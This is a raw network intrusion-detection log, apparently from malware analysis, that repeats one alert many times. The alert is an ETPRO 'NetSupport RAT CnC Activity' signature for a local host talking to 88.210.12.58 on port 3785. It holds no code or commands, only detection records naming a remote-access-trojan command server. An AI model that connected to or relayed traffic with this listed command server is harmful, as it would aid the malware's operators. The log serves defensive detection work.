2024-12-06T10:40:55.673580+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.773588+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.874589+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.974561+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.077432+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.177399+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.279548+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.377576+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.481470+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.578549+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.678552+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.781415+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.880554+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.980562+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.081609+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.182595+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.282635+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.382580+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.482683+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.582603+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.683618+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.783594+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.884603+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.985685+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.089442+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.189440+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.289443+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.386599+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.486603+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.589427+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.688576+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.789613+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.890641+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.993446+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.091624+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.192572+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.292664+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.393623+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.493613+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.593629+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.694579+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.795592+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.895612+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.995606+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.097475+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.196583+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.296576+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.396585+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.596582+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.701452+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.701452+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.798621+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.900217+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.003902+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.100624+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.201656+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.302618+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.402655+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.503711+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.603574+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.704631+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.804641+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.905578+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.005586+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.109452+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.206630+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.307702+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.409442+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.508588+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.608676+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.713469+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.809640+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.913451+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.019874+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.430593+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.430593+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.632632+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.733613+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.834644+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.934651+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.034621+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.135627+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.237468+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.337748+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.438648+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.541671+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.641464+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.741493+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.841462+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.941619+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.041643+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.141646+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.242639+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.343663+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.443618+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.543648+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.643682+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.744635+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.844650+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.944653+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.045649+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.146608+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.246612+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.347603+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.449484+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.547632+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.649477+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.749470+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.849479+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.949725+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.053474+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.150626+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.251666+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.351690+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.452739+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.552718+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.653612+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.754804+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.064905+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.064905+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.265659+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.365679+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.465744+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.566637+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.669492+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.767693+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.868641+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.969632+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.069661+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.170664+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.271656+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.372764+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.472701+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.575516+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.676648+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.776664+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.877644+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.978669+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.078634+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.179669+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.279642+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.385506+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.481655+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.608735+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.608735+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.022625+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.022625+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.223644+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.323692+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.424658+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.525632+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.625858+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.726748+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.827665+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.927728+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.028762+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.129646+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.229657+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.329726+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.430640+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.530680+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.630667+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.733511+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.832660+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.932704+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.033683+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.134696+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.235636+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.335673+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.435683+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.536640+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.636735+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.737665+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.838710+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.939759+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.039698+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.243947+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.243947+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.341674+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.441715+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.544485+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.642666+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.743732+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.844666+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.945527+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.046388+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.145734+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.245726+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.770760+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.770760+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.970787+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.075645+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.171797+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.273624+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.375676+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.473659+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.575632+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
